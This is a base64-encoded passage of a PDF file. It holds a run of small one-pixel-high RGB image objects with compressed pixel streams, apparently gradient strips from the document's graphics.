YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAyNQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDg2Cj4+CnN0cmVhbQp42gFL ALT/ztz/yNr/bIHSNEywM0u1UGrZTWvdP17SQGPXPWTZPmbfPWfgOWXeO2jdPWjZQGvbQWvbRGrZ QWPPSGDKRlK2b3jVcXjSzc//0NLpIhwp3QplbmRzdHJlYW0KZW5kb2JqCjMwNSAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDE5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggNjgKPj4Kc3RyZWFtCnjaATkAxv/j/v91 lLNuksxUeNY7Yss7YNI0VtQ3VNQ2Us0yTbQ2T6M4Up89UpFYbZiIm7yLm7K0xdW3xc7P2t5+qh/J CmVuZHN0cmVhbQplbmRvYmoKMzA2IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCA3OAo+PgpzdHJlYW0KeNp78f+9do+15AxdoSUaHKsUudYosa1WACLmFbKsy+WYFkkx TBNmnizO0MHP1CrMVMTHkMDGEs0jGCyWOCs9bXrW0cfHz9w/AwAJtBclCmVuZHN0cmVhbQplbmRv YmoKMzA3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAg L0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNw YWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4Ngo+Pgpz dHJlYW0KeNoBSwC0///u7P/i5d1MWd86SOo0QeYuNuguM+AjJ/k6P/o4QPEvN/EvOPEuPOgjNOwh N+4ZN+sbO+kcO8UUMLUdNJ8eMNiHkMSQlP/T1vDb2t3mJu8KZW5kc3RyZWFtCmVuZG9iagozMDgg MCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1Bl ckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rl dmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEwNAo+PgpzdHJlYW0K eNoBXQCi/+fv+uHv/4mZzUJUpj9UsUxlzEdl10Nn4Txk3jtl3j5r4D1t3Dtu2Txw1Txw0z5u0j5u 0kBr1D5m1UBl2kFg30Fe3kJd4DxV0z1Wykxn0GqBzW6Fr+j9/+3+/+Xz831ENU0KZW5kc3RyZWFt CmVuZG9iagozMDkgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyCiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQK Pj4Kc3RyZWFtCnja+/L53ZcvbwAT5QWqCmVuZHN0cmVhbQplbmRvYmoKMzEwIDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggNTcKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxODIKPj4Kc3RyZWFtCnjaAasAVP/p7fnm 7P/HzuqqsteotNyYo9CYo9GjsOScqd2aqt2QoNOGlseGlsmEksGEkr+FlL+Il8CJl76OmsCQmr6U mL2Ul7iUmLOboLObobGTmqqZpLaYpL6VosSOn9WKn95ddb9ZdMtPcthQduFNd+NSfudQgOZRgedP fOFQe+FHcthIcdo/ZdI7Xcs9W8s8UsFCV8RCV8IySqoyTZ5Qa66SpcabpLW/xdHGxMnv3ua1W2oz CmVuZHN0cmVhbQplbmRvYmoKMzExIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCA4Mgo+PgpzdHJlYW0KeNq7PXfF7/75FzStn2jbvtSwfqdhCUSfNCy+q1kC0Vc1i/ea Fg+0TW6q6gHRDRmtGzLa18Q1zwlrHBbX3Simcbey+Uxj6/87d389fQQAR68kYgplbmRzdHJlYW0K ZW5kb2JqCjMxMiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdl CiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODAK Pj4Kc3RyZWFtCnjaAUUAuv/vvMH/tLqcMzrQLz/iJzrbGi/jFC7eEzDTDCnQDS3KDS3HDi22AyGp CSWgDSmQCiJ2Cx1tDx+JOUZ8PknFoqbu1djk2tkWmx2sCmVuZHN0cmVhbQplbmRvYmoKMzEzIDAg b2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJD b21wb25lbnQgOAogICAvV2lkdGggMjYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZp Y2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4OQo+PgpzdHJlYW0KeNoB TgCx//z75//8z/rUceKxOuaxMfuyKP6yIf+yHP6wCP2xA/+7C/69DfW6FPG6GfC6GuquEu2sEuWe BuqUAO2SBuOGBdaDJ8+DNemrbtmvhfLq1dO+MEUKZW5kc3RyZWFtCmVuZG9iagozMTQgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTgKPj4Kc3RyZWFtCnja+//v5d// L//9fwsAK8EItgplbmRzdHJlYW0KZW5kb2JqCjMxNSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmpl Y3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI4 CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRl RGVjb2RlCiAgIC9MZW5ndGggOTUKPj4Kc3RyZWFtCnjaAVQAq//9/u7//uz//+X//t///M/y1pfl sj/tsSzzsRz5sQ/6sBH7rBH/qhP7nw7/nBD1iwTodwDpdQbcaAHaagjBXAS5XAyuYBiwfELYrn7U r4P348ju5dawvTVZCmVuZHN0cmVhbQplbmRvYmoKMzE2IDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg MjUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCA4Ngo+PgpzdHJlYW0KeNoBSwC0/+vy/6m15VprsFhrtz9WpjpV sEVlyj1eyTxdzjVZyzRZzDZd0j9o3D9o3kVu4ERv4EJt3UBo2kNm2lp060BVyEFVxneG5XqHy9jh /+spKHYKZW5kc3RyZWFtCmVuZG9iagozMTcgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAg IC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggMTEKPj4Kc3RyZWFtCnja+/bxHQAFtQLWCmVuZHN0cmVhbQplbmRvYmoKMzE4 IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMjEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9E ZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3NAo+PgpzdHJlYW0K eNoBPwDA/+H3/974/6bL/1d/xFR+0kRv2Dtl0ztk1j9f1kNezyY+qDBFmDVHh2l5tGx7pJiluKe0 vae1tcLRzMTRyOz47sV2JpsKZW5kc3RyZWFtCmVuZG9iagozMTkgMCBvYmoKPDwgCiAgIC9UeXBl IC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9X aWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc4Cj4+CnN0cmVhbQp42nv+7412j7XUDF2hJRocqxQ5 Vimwr5QHIrblshzL5FgXSjFMFWWZLM7QLsjSIsxUJMCQwMYczcsXIpEwKyNlRtbhJydP3T8HAAgz FyMKZW5kc3RyZWFtCmVuZG9iagozMjAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9T dWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNQogICAvSGVp Z2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQog ICAvTGVuZ3RoIDg2Cj4+CnN0cmVhbQp42gFLALT//+fv5Wd1yjdH2DFC3C064Cw14Sgw8TQ78jM6 7Coy6ykx8Cs17SUy8SI29B444xAw4RIw0R81wic5rSMytExXolVb/8rO/dDT/u7vaxwlpAplbmRz dHJlYW0KZW5kb2JqCjMyMSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI5CiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggOTQKPj4Kc3RyZWFtCnjae/j2f0XHsdL2y05ha23DdjknX3JOv+mQfsc2/S4Q2WTes82+DUR2 OXccsu84ZN4GSjml3XNOvueUdNs58bZH+h3P9OtWkYe9Uw76pu2ILzuUUr7+zc//APGiLmIKZW5k c3RyZWFtCmVuZG9iagozMjIgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBl IC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQgMQog ICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5n dGggMTEKPj4Kc3RyZWFtCnja+/ntLQAFxwLdCmVuZHN0cmVhbQplbmRvYmoKMzIzIDAgb2JqCjw8 IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25l bnQgOAogICAvV2lkdGggNTMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNzAKPj4Kc3RyZWFtCnjaAZ8AYP/n 6/bl6/fT2enR2OjH0OHJ0uPJ0uPM1eTQ2ejP2OfV3ejV3ufY4ebb5efc4+ve5e3g5PDl5vvc3fLd 3vLm6PXm6PTn6/bk7Pfj7P3j8P/M3P/I2v9QZahKZLlDZcdEadFBatRFbthEb9dEcdhBbtNCbdU7 ZM0+Zc44WsgzU8I2UcIzS7czS7U0S7EpQ6ApRJNadrezxOK6w9Ll7Pbs6u9R1nFtCmVuZHN0cmVh bQplbmRvYmoKMzI0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4 NAo+PgpzdHJlYW0KeNr7eePx/zO3Tlh7X9J3uKFj81zF9J2CyQdF49eqJi/VjV5oGD/VMn6kaXhP Vfe+iu49ORC6K6V9U1LvgqzxTmH15Yb2My0cv67bdH/nDgB2/yMLCmVuZHN0cmVhbQplbmRvYmoK MzI1IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNl IC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MAo+PgpzdHJl YW0KeNoBRQC6/+apsP6eqa40QdIlOeIdOOAWMOcSMtsOLdgPMdQRMcIJKb8KKbQHJaQKJJgOJ3sA FYIfMXojM793g7F+hdW7vPfl5e7p5hezH3IKZW5kc3RyZWFtCmVuZG9iagozMjYgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAyNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgog ICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDg5Cj4+CnN0cmVhbQp42gFOALH///zg /+6u2rZi4LVX5qQp7aUV/rEX/KkF+6oD/7EM/LMO/7oe87IY87Ia87Ab87Ab7qQR7pcJ8pcL7JAL 14YR0Yca1JM5xZRR3seo//fnnn8vrwplbmRzdHJlYW0KZW5kb2JqCjMyNyAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDI2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9G aWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODkKPj4Kc3RyZWFtCnjaAU4Asf///+f//t// /c7v0I/tsj71sSz6sB3+sBD8rxH1qAr3pg7xlwP1lAnpgQDgaADiZgTVWQHRWgi7VBLAZy2ybDm/ mXTkza3fzrL29ePz9u3NrjCSCmVuZHN0cmVhbQplbmRvYmoKMzI4IDAgb2JqCjw8IAogICAvVHlw ZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAv V2lkdGggMjcKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRl ciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA5Mgo+PgpzdHJlYW0KeNoBUQCu/8rX98jX/4ubzIec 1UVcoj5Yoz1Xqz9atTxaukJixT1dyjxd0DNUyDNTyjVX0kFl3T9n2DBcv0VwzkVxykRovEhptkdj rHuRy4CRv8LR+sTS7ffmK9gKZW5kc3RyZWFtCmVuZG9iagozMjkgMCBvYmoKPDwgCiAgIC9UeXBl IC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9X aWR0aCAyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIg L0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQKPj4Kc3RyZWFtCnjae/Pt+5uvvwAT4AW1CmVuZHN0 cmVhbQplbmRvYmoKMzMwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAv SW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjEKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCA3NAo+PgpzdHJlYW0KeNoBPwDA/9/v/Ki84aS78XWN03KN2klrxEVoxkRoyTxgwDJVsTNVrzdS oTpRl3CCwpqk152kzqOozqWox7y9z+jq9urr776OJ14KZW5kc3RyZWFtCmVuZG9iagozMzEgMCBv YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc4Cj4+CnN0cmVhbQp42nv+ 751Wt5XkdB3BxersKxU4Vyuyr5QHItZlMuxLZVkWSDJMEWGeJMbQJsDcLMRUJMCQwMYczcsXIpEw KyNlRtbhJydP3T8HAAPlFwkKZW5kc3RyZWFtCmVuZG9iagozMzIgMCBvYmoKPDwgCiAgIC9UeXBl IC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9X aWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVy IC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgwCj4+CnN0cmVhbQp42vt/4OAad+8D9i5HtIwuqei9 1Ld5oab/UlX/nabRBw0gMv6obfFR2+qFsskLFQsgui5lcFHa8Iyc6WY5o6UqZtscAhZ7hv69eRcA pGAf/AplbmRzdHJlYW0KZW5kb2JqCjMzMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDMwCiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggOTkKPj4Kc3RyZWFtCnjae/ft/5aDTzYdeO+XMM8zYZ1l8CbPzHNuGdfsU67b J9+1S7lvl/oEiBzSnzlkPHHIeOiYcd8h/Y5j2k2H1OtAZJ980T7lvHXsSZeEc64JJ52iD7hF7Zy0 4Pmb7/8B1LcxBwplbmRzdHJlYW0KZW5kb2JqCjMzNCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmpl Y3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIK ICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVE ZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp7//7tuw9vAROWBZcKZW5kc3RyZWFtCmVu ZG9iagozMzUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNQogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDg2Cj4+ CnN0cmVhbQp42gFLALT/4O3+3ez/TWCaSF6zQWLDQmPKPmXOQmjTQGnTQGvUPmfQQGfQOF/IOV7J NVXGME7AMk2+ME21MEywMEyvJkScKUWOYHq3vM3pxMzZ340mXwplbmRzdHJlYW0KZW5kb2JqCjMz NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9E ZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0K eNp79/8rAAXAAuMKZW5kc3RyZWFtCmVuZG9iagozMzcgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy NQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42vv+4v3/e69eNPWv0DTZpGJwS9XkmYLh G3mDJ2pGDzUN72sZAsmnqgZPlfWA6LG87hM5/UfSenfF9a5LGp2VNForpbtA3vB6cf3e+iYAiqUi IwplbmRzdHJlYW0KZW5kb2JqCjMzOCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1 YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIyCiAgIC9IZWln aHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAg IC9MZW5ndGggNzcKPj4Kc3RyZWFtCnjaAUIAvf/dlJ36h5a/MELZHjvlGDflEjPpEjTaDDDXDjLS EDK5BSi2ByirBiaWCCKLDSNxBBeMOEeEPEjJkJm+lZvezMz37+2r/h08CmVuZHN0cmVhbQplbmRv YmoKMzM5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAg L0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjYKICAgL0hlaWdodCAxCiAgIC9Db2xvclNw YWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4OQo+Pgpz dHJlYW0KeNoBTgCx///01NjBjd3BgtmlOOSkHvWqE/ukB/6kBv+nC/2oDf+2HfitFPqsGPmtG/mt HPSlFfOcD/WbD/GXDd2NBNmPCtKQGMePLt62g//oxvvq2m45L3oKZW5kc3RyZWFtCmVuZG9iagoz NDAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVh bQp42gFIALf////t//3W//vA7Mt+8LI5+rEn/K4Y/q8N/a4M9KQF96IL65EA8YwI43kA3WMA3V8L 0VUPzFYYs1Inv29MrnVavqua4dvL293Pp4crVQplbmRzdHJlYW0KZW5kb2JqCjM0MSAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDYyCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTk3Cj4+CnN0cmVhbQp42gG6AEX/ ztfoy9fxhZO4X22aXG2jPE6MOk6VOU6fRFu5QlvCRV3LQ13OQFrTPF3RN1/QLmLHPnTWPnTUPmvS QGnSO13ITGfQUGbMY3neZnnVkqPrx9f/yNn/6f7/6f7/6/7/6///6f//5///5f3/5Pz/6v//6/3/ 6/r/6fr/5/n/rcXxqsb4hKPaaonZaYjlVXLYUnHbT2/cQF/JQmDAQF2pQl6fRl6ad420fYypkZyy sLPGs7LE0M3e0c3c7uv0Rrd6QgplbmRzdHJlYW0KZW5kb2JqCjM0MiAwIG9iago8PCAKICAgL1R5 cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAg L1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0 ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggNzgKPj4Kc3RyZWFtCnjae/7vnVa3leR0HcHF6uwr FThWKbCtkAMi1mUy7EtlWRZIMkwRYZ4kxtAqwNIsxFQkwJDAxhzNyxcikTArI2VG1uEnJ0/dPwcA AiEXAAplbmRzdHJlYW0KZW5kb2JqCjM0MyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI2CiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggODkKPj4Kc3RyZWFtCnjaAU4Asf//596jbmi+Y2CtLzPEJC7gKjflIS/pHy30 KDT2KDXzJjXyKjXvKTbkJjLqLDjqLDjZFCbZFCjjHzfWIDnLJT2sDiWbFinvl6P/3+X/6Oqa+iUq CmVuZHN0cmVhbQplbmRvYmoKMzQ0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3Vi dHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzAKICAgL0hlaWdo dCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAg L0xlbmd0aCAxMDEKPj4Kc3RyZWFtCnjaAVoApf+zw+WuwflRZ7NBW7A9Wbw+Xck9W9M+Xdo+X+Q9 X+U8YeY9YuY/ZeI/ZeA/Zt0/Z9g+Z9M+Z9NEbddEbNs3XcxDY9pFYtpGY9lKYdNCVLpte9Nyfbvg 5/fg6PVgOTC5CmVuZHN0cmVhbQplbmRvYmoKMzQ1IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVj dAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUK ICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVE ZWNvZGUKICAgL0xlbmd0aCA4Mwo+PgpzdHJlYW0KeNp78uHfow//Q9Pm+KdsdU085JJy0inlvGPa RQcwsk46bZN4xiz6mGX0SeOAo3o++wy892i4rtbyWKXluUzdebqmS3di1eY9Z54eOX0VANznJfgK ZW5kc3RyZWFtCmVuZG9iagozNDYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA0CiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMjEKPj4Kc3RyZWFtCnjae/f326t/n1////Lu7zcASoULfAplbmRzdHJlYW0KZW5kb2Jq CjM0NyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9C 